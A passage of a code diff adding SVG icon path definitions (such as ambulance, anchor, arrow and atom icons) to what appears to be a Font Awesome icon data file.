352h262.34A12.82 12.82 0 0 0 288 339.17v-38.34A12.82 12.82 0 0 0 275.17 288H12.83A12.82 12.82 0 0 0 0 300.83v38.34A12.82 12.82 0 0 0 12.83 352zm0-256h262.34A12.82 12.82 0 0 0 288 83.17V44.83A12.82 12.82 0 0 0 275.17 32H12.83A12.82 12.82 0 0 0 0 44.83v38.34A12.82 12.82 0 0 0 12.83 96zM432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "align-right": [ 448, 512, [], "f038", "M16 224h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm416 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-384H172.83A12.82 12.82 0 0 0 160 44.83v38.34A12.82 12.82 0 0 0 172.83 96h262.34A12.82 12.82 0 0 0 448 83.17V44.83A12.82 12.82 0 0 0 435.17 32zm0 256H172.83A12.82 12.82 0 0 0 160 300.83v38.34A12.82 12.82 0 0 0 172.83 352h262.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288z" ], + allergies: [ 448, 512, [], "f461", "M416 112c-17.6 0-32 14.4-32 32v72c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32s-32 14.4-32 32v152c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V32c0-17.6-14.4-32-32-32s-32 14.4-32 32v184c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32S96 46.4 96 64v241l-23.6-32.5c-13-17.9-38-21.8-55.9-8.8s-21.8 38-8.8 55.9l125.6 172.7c9 12.4 23.5 19.8 38.8 19.8h197.6c22.3 0 41.6-15.3 46.7-37l26.5-112.7c3.2-13.7 4.9-28.3 5.1-42.3V144c0-17.6-14.4-32-32-32zM176 416c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 32c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32-128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" ], + ambulance: [ 640, 512, [], "f0f9", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm144-248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm176 248c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z" ], + "american-sign-language-interpreting": [ 640, 512, [], "f2a3", "M290.547 189.039c-20.295-10.149-44.147-11.199-64.739-3.89 42.606 0 71.208 20.475 85.578 50.576 8.576 17.899-5.148 38.071-23.617 38.071 18.429 0 32.211 20.136 23.617 38.071-14.725 30.846-46.123 50.854-80.298 50.854-.557 0-94.471-8.615-94.471-8.615l-66.406 33.347c-9.384 4.693-19.815.379-23.895-7.781L1.86 290.747c-4.167-8.615-1.111-18.897 6.946-23.621l58.072-33.069L108 159.861c6.39-57.245 34.731-109.767 79.743-146.726 11.391-9.448 28.341-7.781 37.51 3.613 9.446 11.394 7.78 28.067-3.612 37.516-12.503 10.559-23.618 22.509-32.509 35.57 21.672-14.729 46.679-24.732 74.186-28.067 14.725-1.945 28.063 8.336 29.73 23.065 1.945 14.728-8.336 28.067-23.062 29.734-16.116 1.945-31.12 7.503-44.178 15.284 26.114-5.713 58.712-3.138 88.079 11.115 13.336 6.669 18.893 22.509 12.224 35.848-6.389 13.06-22.504 18.617-35.564 12.226zm-27.229 69.472c-6.112-12.505-18.338-20.286-32.231-20.286a35.46 35.46 0 0 0-35.565 35.57c0 21.428 17.808 35.57 35.565 35.57 13.893 0 26.119-7.781 32.231-20.286 4.446-9.449 13.614-15.006 23.339-15.284-9.725-.277-18.893-5.835-23.339-15.284zm374.821-37.237c4.168 8.615 1.111 18.897-6.946 23.621l-58.071 33.069L532 352.16c-6.39 57.245-34.731 109.767-79.743 146.726-10.932 9.112-27.799 8.144-37.51-3.613-9.446-11.394-7.78-28.067 3.613-37.516 12.503-10.559 23.617-22.509 32.508-35.57-21.672 14.729-46.679 24.732-74.186 28.067-10.021 2.506-27.552-5.643-29.73-23.065-1.945-14.728 8.336-28.067 23.062-29.734 16.116-1.946 31.12-7.503 44.178-15.284-26.114 5.713-58.712 3.138-88.079-11.115-13.336-6.669-18.893-22.509-12.224-35.848 6.389-13.061 22.505-18.619 35.565-12.227 20.295 10.149 44.147 11.199 64.739 3.89-42.606 0-71.208-20.475-85.578-50.576-8.576-17.899 5.148-38.071 23.617-38.071-18.429 0-32.211-20.136-23.617-38.071 14.033-29.396 44.039-50.887 81.966-50.854l92.803 8.615 66.406-33.347c9.408-4.704 19.828-.354 23.894 7.781l44.455 88.926zm-229.227-18.618c-13.893 0-26.119 7.781-32.231 20.286-4.446 9.449-13.614 15.006-23.339 15.284 9.725.278 18.893 5.836 23.339 15.284 6.112 12.505 18.338 20.286 32.231 20.286a35.46 35.46 0 0 0 35.565-35.57c0-21.429-17.808-35.57-35.565-35.57z" ], + anchor: [ 576, 512, [], "f13d", "M12.971 352h32.394C67.172 454.735 181.944 512 288 512c106.229 0 220.853-57.38 242.635-160h32.394c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0l-67.029 67.029c-7.56 7.56-2.206 20.485 8.485 20.485h35.146c-20.29 54.317-84.963 86.588-144.117 94.015V256h52c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-52v-5.47c37.281-13.178 63.995-48.725 64-90.518C384.005 43.772 341.605.738 289.37.01 235.723-.739 192 42.525 192 96c0 41.798 26.716 77.35 64 90.53V192h-52c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v190.015c-58.936-7.399-123.82-39.679-144.117-94.015h35.146c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0L4.485 331.515C-3.074 339.074 2.28 352 12.971 352zM288 64c17.645 0 32 14.355 32 32s-14.355 32-32 32-32-14.355-32-32 14.355-32 32-32z" ], + "angle-double-down": [ 320, 512, [], "f103", "M143 256.3L7 120.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0L313 86.3c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.4 9.5-24.6 9.5-34 .1zm34 192l136-136c9.4-9.4 9.4-24.6 0-33.9l-22.6-22.6c-9.4-9.4-24.6-9.4-33.9 0L160 352.1l-96.4-96.4c-9.4-9.4-24.6-9.4-33.9 0L7 278.3c-9.4 9.4-9.4 24.6 0 33.9l136 136c9.4 9.5 24.6 9.5 34 .1z" ], + "angle-double-left": [ 448, 512, [], "f100", "M223.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L319.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L393.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34zm-192 34l136 136c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9L127.9 256l96.4-96.4c9.4-9.4 9.4-24.6 0-33.9L201.7 103c-9.4-9.4-24.6-9.4-33.9 0l-136 136c-9.5 9.4-9.5 24.6-.1 34z" ], + "angle-double-right": [ 448, 512, [], "f101", "M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34zm192-34l-136-136c-9.4-9.4-24.6-9.4-33.9 0l-22.6 22.6c-9.4 9.4-9.4 24.6 0 33.9l96.4 96.4-96.4 96.4c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l136-136c9.4-9.2 9.4-24.4 0-33.8z" ], + "angle-double-up": [ 320, 512, [], "f102", "M177 255.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 351.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 425.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1zm-34-192L7 199.7c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l96.4-96.4 96.4 96.4c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9l-136-136c-9.2-9.4-24.4-9.4-33.8 0z" ], + "angle-down": [ 320, 512, [], "f107", "M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z" ], + "angle-left": [ 256, 512, [], "f104", "M31.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L127.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L201.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34z" ], + "angle-right": [ 256, 512, [], "f105", "M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34z" ], + "angle-up": [ 320, 512, [], "f106", "M177 159.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 255.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 329.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1z" ], + angry: [ 496, 512, [], "f556", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 240c0-9.3 4.1-17.5 10.5-23.4l-31-9.3c-8.5-2.5-13.3-11.5-10.7-19.9 2.5-8.5 11.4-13.2 19.9-10.7l80 24c8.5 2.5 13.3 11.5 10.7 19.9-2.1 6.9-8.4 11.4-15.3 11.4-.5 0-1.1-.2-1.7-.2.7 2.7 1.7 5.3 1.7 8.2 0 17.7-14.3 32-32 32S136 257.7 136 240zm168 154.2c-27.8-33.4-84.2-33.4-112.1 0-13.5 16.3-38.2-4.2-24.6-20.5 20-24 49.4-37.8 80.6-37.8s60.6 13.8 80.6 37.8c13.8 16.5-11.1 36.6-24.5 20.5zm76.6-186.9l-31 9.3c6.3 5.8 10.5 14.1 10.5 23.4 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-2.9.9-5.6 1.7-8.2-.6.1-1.1.2-1.7.2-6.9 0-13.2-4.5-15.3-11.4-2.5-8.5 2.3-17.4 10.7-19.9l80-24c8.4-2.5 17.4 2.3 19.9 10.7 2.5 8.5-2.3 17.4-10.8 19.9z" ], + ankh: [ 320, 512, [], "f644", "M296 256h-44.62C272.46 222.01 288 181.65 288 144 288 55.63 230.69 0 160 0S32 55.63 32 144c0 37.65 15.54 78.01 36.62 112H24c-13.25 0-24 10.74-24 24v32c0 13.25 10.75 24 24 24h96v152c0 13.25 10.75 24 24 24h32c13.25 0 24-10.75 24-24V336h96c13.25 0 24-10.75 24-24v-32c0-13.26-10.75-24-24-24zM160 80c29.61 0 48 24.52 48 64 0 34.66-27.14 78.14-48 100.87-20.86-22.72-48-66.21-48-100.87 0-39.48 18.39-64 48-64z" ], + "apple-alt": [ 448, 512, [], "f5d1", "M350.85 129c25.97 4.67 47.27 18.67 63.92 42 14.65 20.67 24.64 46.67 29.96 78 4.67 28.67 4.32 57.33-1 86-7.99 47.33-23.97 87-47.94 119-28.64 38.67-64.59 58-107.87 58-10.66 0-22.3-3.33-34.96-10-8.66-5.33-18.31-8-28.97-8s-20.3 2.67-28.97 8c-12.66 6.67-24.3 10-34.96 10-43.28 0-79.23-19.33-107.87-58-23.97-32-39.95-71.67-47.94-119-5.32-28.67-5.67-57.33-1-86 5.32-31.33 15.31-57.33 29.96-78 16.65-23.33 37.95-37.33 63.92-42 15.98-2.67 37.95-.33 65.92 7 23.97 6.67 44.28 14.67 60.93 24 16.65-9.33 36.96-17.33 60.93-24 27.98-7.33 49.96-9.67 65.94-7zm-54.94-41c-9.32 8.67-21.65 15-36.96 19-10.66 3.33-22.3 5-34.96 5l-14.98-1c-1.33-9.33-1.33-20 0-32 2.67-24 10.32-42.33 22.97-55 9.32-8.67 21.65-15 36.96-19 10.66-3.33 22.3-5 34.96-5l14.98 1 1 15c0 12.67-1.67 24.33-4.99 35-3.99 15.33-10.31 27.67-18.98 37z" ], + archive: [ 512, 512, [], "f187", "M32 448c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V160H32v288zm160-212c0-6.6 5.4-12 12-12h104c6.6 0 12 5.4 12 12v8c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-8zM480 32H32C14.3 32 0 46.3 0 64v48c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16V64c0-17.7-14.3-32-32-32z" ], + archway: [ 576, 512, [], "f557", "M560 448h-16V96H32v352H16.02c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16H176c8.84 0 16-7.16 16-16V320c0-53.02 42.98-96 96-96s96 42.98 96 96l.02 160v16c0 8.84 7.16 16 16 16H560c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm0-448H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h544c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z" ], + "arrow-alt-circle-down": [ 512, 512, [], "f358", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM212 140v116h-70.9c-10.7 0-16.1 13-8.5 20.5l114.9 114.3c4.7 4.7 12.2 4.7 16.9 0l114.9-114.3c7.6-7.6 2.2-20.5-8.5-20.5H300V140c0-6.6-5.4-12-12-12h-64c-6.6 0-12 5.4-12 12z" ], + "arrow-alt-circle-left": [ 512, 512, [], "f359", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm116-292H256v-70.9c0-10.7-13-16.1-20.5-8.5L121.2 247.5c-4.7 4.7-4.7 12.2 0 16.9l114.3 114.9c7.6 7.6 20.5 2.2 20.5-8.5V300h116c6.6 0 12-5.4 12-12v-64c0-6.6-5.4-12-12-12z" ], + "arrow-alt-circle-right": [ 512, 512, [], "f35a", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zM140 300h116v70.9c0 10.7 13 16.1 20.5 8.5l114.3-114.9c4.7-4.7 4.7-12.2 0-16.9l-114.3-115c-7.6-7.6-20.5-2.2-20.5 8.5V212H140c-6.6 0-12 5.4-12 12v64c0 6.6 5.4 12 12 12z" ], + "arrow-alt-circle-up": [ 512, 512, [], "f35b", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm292 116V256h70.9c10.7 0 16.1-13 8.5-20.5L264.5 121.2c-4.7-4.7-12.2-4.7-16.9 0l-115 114.3c-7.6 7.6-2.2 20.5 8.5 20.5H212v116c0 6.6 5.4 12 12 12h64c6.6 0 12-5.4 12-12z" ], + "arrow-circle-down": [ 512, 512, [], "f0ab", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-143.6-28.9L288 302.6V120c0-13.3-10.7-24-24-24h-16c-13.3 0-24 10.7-24 24v182.6l-72.4-75.5c-9.3-9.7-24.8-9.9-34.3-.4l-10.9 11c-9.4 9.4-9.4 24.6 0 33.9L239 404.3c9.4 9.4 24.6 9.4 33.9 0l132.7-132.7c9.4-9.4 9.4-24.6 0-33.9l-10.9-11c-9.5-9.5-25-9.3-34.3.4z" ], + "arrow-circle-left": [ 512, 512, [], "f0a8", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm28.9-143.6L209.4 288H392c13.3 0 24-10.7 24-24v-16c0-13.3-10.7-24-24-24H209.4l75.5-72.4c9.7-9.3 9.9-24.8.4-34.3l-11-10.9c-9.4-9.4-24.6-9.4-33.9 0L107.7 239c-9.4 9.4-9.4 24.6 0 33.9l132.7 132.7c9.4 9.4 24.6 9.4 33.9 0l11-10.9c9.5-9.5 9.3-25-.4-34.3z" ], + "arrow-circle-right": [ 512, 512, [], "f0a9", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm-28.9 143.6l75.5 72.4H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h182.6l-75.5 72.4c-9.7 9.3-9.9 24.8-.4 34.3l11 10.9c9.4 9.4 24.6 9.4 33.9 0L404.3 273c9.4-9.4 9.4-24.6 0-33.9L271.6 106.3c-9.4-9.4-24.6-9.4-33.9 0l-11 10.9c-9.5 9.6-9.3 25.1.4 34.4z" ], + "arrow-circle-up": [ 512, 512, [], "f0aa", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm143.6 28.9l72.4-75.5V392c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V209.4l72.4 75.5c9.3 9.7 24.8 9.9 34.3.4l10.9-11c9.4-9.4 9.4-24.6 0-33.9L273 107.7c-9.4-9.4-24.6-9.4-33.9 0L106.3 240.4c-9.4 9.4-9.4 24.6 0 33.9l10.9 11c9.6 9.5 25.1 9.3 34.4-.4z" ], + "arrow-down": [ 448, 512, [], "f063", "M413.1 222.5l22.2 22.2c9.4 9.4 9.4 24.6 0 33.9L241 473c-9.4 9.4-24.6 9.4-33.9 0L12.7 278.6c-9.4-9.4-9.4-24.6 0-33.9l22.2-22.2c9.5-9.5 25-9.3 34.3.4L184 343.4V56c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24v287.4l114.8-120.5c9.3-9.8 24.8-10 34.3-.4z" ], + "arrow-left": [ 448, 512, [], "f060", "M257.5 445.1l-22.2 22.2c-9.4 9.4-24.6 9.4-33.9 0L7 273c-9.4-9.4-9.4-24.6 0-33.9L201.4 44.7c9.4-9.4 24.6-9.4 33.9 0l22.2 22.2c9.5 9.5 9.3 25-.4 34.3L136.6 216H424c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24H136.6l120.5 114.8c9.8 9.3 10 24.8.4 34.3z" ], + "arrow-right": [ 448, 512, [], "f061", "M190.5 66.9l22.2-22.2c9.4-9.4 24.6-9.4 33.9 0L441 239c9.4 9.4 9.4 24.6 0 33.9L246.6 467.3c-9.4 9.4-24.6 9.4-33.9 0l-22.2-22.2c-9.5-9.5-9.3-25 .4-34.3L311.4 296H24c-13.3 0-24-10.7-24-24v-32c0-13.3 10.7-24 24-24h287.4L190.9 101.2c-9.8-9.3-10-24.8-.4-34.3z" ], + "arrow-up": [ 448, 512, [], "f062", "M34.9 289.5l-22.2-22.2c-9.4-9.4-9.4-24.6 0-33.9L207 39c9.4-9.4 24.6-9.4 33.9 0l194.3 194.3c9.4 9.4 9.4 24.6 0 33.9L413 289.4c-9.5 9.5-25 9.3-34.3-.4L264 168.6V456c0 13.3-10.7 24-24 24h-32c-13.3 0-24-10.7-24-24V168.6L69.2 289.1c-9.3 9.8-24.8 10-34.3.4z" ], + "arrows-alt": [ 512, 512, [], "f0b2", "M352.201 425.775l-79.196 79.196c-9.373 9.373-24.568 9.373-33.941 0l-79.196-79.196c-15.119-15.119-4.411-40.971 16.971-40.97h51.162L228 284H127.196v51.162c0 21.382-25.851 32.09-40.971 16.971L7.029 272.937c-9.373-9.373-9.373-24.569 0-33.941L86.225 159.8c15.119-15.119 40.971-4.411 40.971 16.971V228H228V127.196h-51.23c-21.382 0-32.09-25.851-16.971-40.971l79.196-79.196c9.373-9.373 24.568-9.373 33.941 0l79.196 79.196c15.119 15.119 4.411 40.971-16.971 40.971h-51.162V228h100.804v-51.162c0-21.382 25.851-32.09 40.97-16.971l79.196 79.196c9.373 9.373 9.373 24.569 0 33.941L425.773 352.2c-15.119 15.119-40.971 4.411-40.97-16.971V284H284v100.804h51.23c21.382 0 32.09 25.851 16.971 40.971z" ], + "arrows-alt-h": [ 512, 512, [], "f337", "M377.941 169.941V216H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.568 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296h243.882v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.568 0-33.941l-86.059-86.059c-15.119-15.12-40.971-4.412-40.971 16.97z" ], + "arrows-alt-v": [ 256, 512, [], "f338", "M214.059 377.941H168V134.059h46.059c21.382 0 32.09-25.851 16.971-40.971L144.971 7.029c-9.373-9.373-24.568-9.373-33.941 0L24.971 93.088c-15.119 15.119-4.411 40.971 16.971 40.971H88v243.882H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.568 9.373 33.941 0l86.059-86.059c15.12-15.119 4.412-40.971-16.97-40.971z" ], + "assistive-listening-systems": [ 512, 512, [], "f2a2", "M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm-80 236c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zM32 448c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm480-187.993c0-1.518-.012-3.025-.045-4.531C510.076 140.525 436.157 38.47 327.994 1.511c-14.633-4.998-30.549 2.809-35.55 17.442-5 14.633 2.81 30.549 17.442 35.55 85.906 29.354 144.61 110.513 146.077 201.953l.003.188c.026 1.118.033 2.236.033 3.363 0 15.464 12.536 28 28 28s28.001-12.536 28.001-28zM152.971 439.029l-80-80L39.03 392.97l80 80 33.941-33.941z" ], + asterisk: [ 512, 512, [], "f069", "M478.21 334.093L336 256l142.21-78.093c11.795-6.477 15.961-21.384 9.232-33.037l-19.48-33.741c-6.728-11.653-21.72-15.499-33.227-8.523L296 186.718l3.475-162.204C299.763 11.061 288.937 0 275.48 0h-38.96c-13.456 0-24.283 11.061-23.994 24.514L216 186.718 77.265 102.607c-11.506-6.976-26.499-3.13-33.227 8.523l-19.48 33.741c-6.728 11.653-2.562 26.56 9.233 33.037L176 256 33.79 334.093c-11.795 6.477-15.961 21.384-9.232 33.037l19.48 33.741c6.728 11.653 21.721 15.499 33.227 8.523L216 325.282l-3.475 162.204C212.237 500.939 223.064 512 236.52 512h38.961c13.456 0 24.283-11.061 23.995-24.514L296 325.282l138.735 84.111c11.506 6.976 26.499 3.13 33.227-8.523l19.48-33.741c6.728-11.653 2.563-26.559-9.232-33.036z" ], + at: [ 512, 512, [], "f1fa", "M256 8C118.941 8 8 118.919 8 256c0 137.059 110.919 248 248 248 48.154 0 95.342-14.14 135.408-40.223 12.005-7.815 14.625-24.288 5.552-35.372l-10.177-12.433c-7.671-9.371-21.179-11.667-31.373-5.129C325.92 429.757 291.314 440 256 440c-101.458 0-184-82.542-184-184S154.542 72 256 72c100.139 0 184 57.619 184 160 0 38.786-21.093 79.742-58.17 83.693-17.349-.454-16.91-12.857-13.476-30.024l23.433-121.11C394.653 149.75 383.308 136 368.225 136h-44.981a13.518 13.518 0 0 0-13.432 11.993l-.01.092c-14.697-17.901-40.448-21.775-59.971-21.775-74.58 0-137.831 62.234-137.831 151.46 0 65.303 36.785 105.87 96 105.87 26.984 0 57.369-15.637 74.991-38.333 9.522 34.104 40.613 34.103 70.71 34.103C462.609 379.41 504 307.798 504 232 504 95.653 394.023 8 256 8zm-21.68 304.43c-22.249 0-36.07-15.623-36.07-40.771 0-44.993 30.779-72.729 58.63-72.729 22.292 0 35.601 15.241 35.601 40.77 0 45.061-33.875 72.73-58.161 72.73z" ], + atlas: [ 448, 512, [], "f558", "M318.38 208h-39.09c-1.49 27.03-6.54 51.35-14.21 70.41 27.71-13.24 48.02-39.19 53.3-70.41zm0-32c-5.29-31.22-25.59-57.17-53.3-70.41 7.68 19.06 12.72 43.38 14.21 70.41h39.09zM224 97.31c-7.69 7.45-20.77 34.42-23.43 78.69h46.87c-2.67-44.26-15.75-71.24-23.44-78.69zm-41.08 8.28c-27.71 13.24-48.02 39.19-53.3 70.41h39.09c1.49-27.03 6.53-51.35 14.21-70.41zm0 172.82c-7.68-19.06-12.72-43.38-14.21-70.41h-39.09c5.28 31.22 25.59 57.17 53.3 70.41zM247.43 208h-46.87c2.66 44.26 15.74 71.24 23.43 78.69 7.7-7.45 20.78-34.43 23.44-78.69zM448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM224 64c70.69 0 128 57.31 128 128s-57.31 128-128 128S96 262.69 96 192 153.31 64 224 64zm160 384H96c-19.2 0-32-12.8-32-32s16-32 32-32h288v64z" ], + atom: [ 448, 512, [], "f5d2", "M223.99908,224a32,32,0,1,0,32.00782,32A32.06431,32.06431,0,0,0,223.99908,224Zm214.172-96c-10.877-19.5-40.50979-50.75-116.27544-41.875C300.39168,34.875,267.63386,0,223.99908,0s-76.39066,34.875-97.89653,86.125C50.3369,77.375,20.706,108.5,9.82907,128-6.54984,157.375-5.17484,201.125,34.958,256-5.17484,310.875-6.54984,354.625,9.82907,384c29.13087,52.375,101.64652,43.625,116.27348,41.875C147.60842,477.125,180.36429,512,223.99908,512s76.3926-34.875,97.89652-86.125c14.62891,1.75,87.14456,10.5,116.27544-41.875C454.55,354.625,453.175,310.875,413.04017,256,453.175,201.125,454.55,157.375,438.171,128ZM63.33886,352c-4-7.25-.125-24.75,15.00391-48.25,6.87695,6.5,14.12891,12.875,21.88087,19.125,1.625,13.75,4,27.125,6.75,40.125C82.34472,363.875,67.09081,358.625,63.33886,352Zm36.88478-162.875c-7.752,6.25-15.00392,12.625-21.88087,19.125-15.12891-23.5-19.00392-41-15.00391-48.25,3.377-6.125,16.37891-11.5,37.88478-11.5,1.75,0,3.875.375,5.75.375C104.09864,162.25,101.84864,175.625,100.22364,189.125ZM223.99908,64c9.50195,0,22.25586,13.5,33.88282,37.25-11.252,3.75-22.50391,8-33.88282,12.875-11.377-4.875-22.62892-9.125-33.88283-12.875C201.74516,77.5,214.49712,64,223.99908,64Zm0,384c-9.502,0-22.25392-13.5-33.88283-37.25,11.25391-3.75,22.50587-8,33.88283-12.875C235.378,402.75,246.62994,407,257.8819,410.75,246.25494,434.5,233.501,448,223.99908,448Zm0-112a80,80,0,1,1,80-80A80.00023,80.00023,0,0,1,223.99908,336ZM384.6593,352c-3.625,6.625-19.00392,11.875-43.63479,11,2.752-13,5.127-26.375,6.752-40.125,7.75195-6.25,15.00391-12.625,21.87891-19.125C384.7843,327.25,388.6593,344.75,384.6593,352ZM369.65538,208.25c-6.875-6.5-14.127-12.875-21.87891-19.125-1.625-13.5-3.875-26.875-6.752-40.25,1.875,0,4.002-.375,5.752-.375,21.50391,0,34.50782,5.375,37.88283,11.5C388.6593,167.25,384.7843,184.75,369.65538,208.25Z" ], + "audio-description": [ 512, 512, [], 